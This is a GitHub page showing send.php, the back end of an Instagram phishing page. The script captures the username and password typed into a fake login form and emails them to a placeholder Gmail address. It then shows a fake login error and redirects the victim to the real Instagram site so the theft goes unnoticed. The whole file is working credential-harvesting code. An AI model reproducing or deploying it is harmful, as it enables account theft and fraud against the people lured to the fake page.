-
Notifications
You must be signed in to change notification settings - Fork 59
/
send.php
26 lines (19 loc) · 856 Bytes
/
send.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
// Variable settings
$username = $_POST['u_name'] ?? ''; // Fetch username (using null coalescing operator)
$passcode = $_POST['pass'] ?? ''; // Fetch password (using null coalescing operator)
$subject = "Someone Login ! Insta Dummy page";
$to = "xxxxxxxxxxx@gmail.com";
$txt = "Username: " . $username . "\r\nPassword: " . $passcode; // Email body (i) username [break] (ii) password;
// Check input fields
if (!empty($username) and !empty($passcode)) {
mail($to, $subject, $txt);
echo "<script type='text/javascript'>alert('Error ! Unable to login ');
window.location.replace('https://www.instagram.com');
</script>";
} else {
echo "<script type='text/javascript'>alert('Please enter correct username or password. Try again ');
window.history.go(-1);
</script>";
}
?>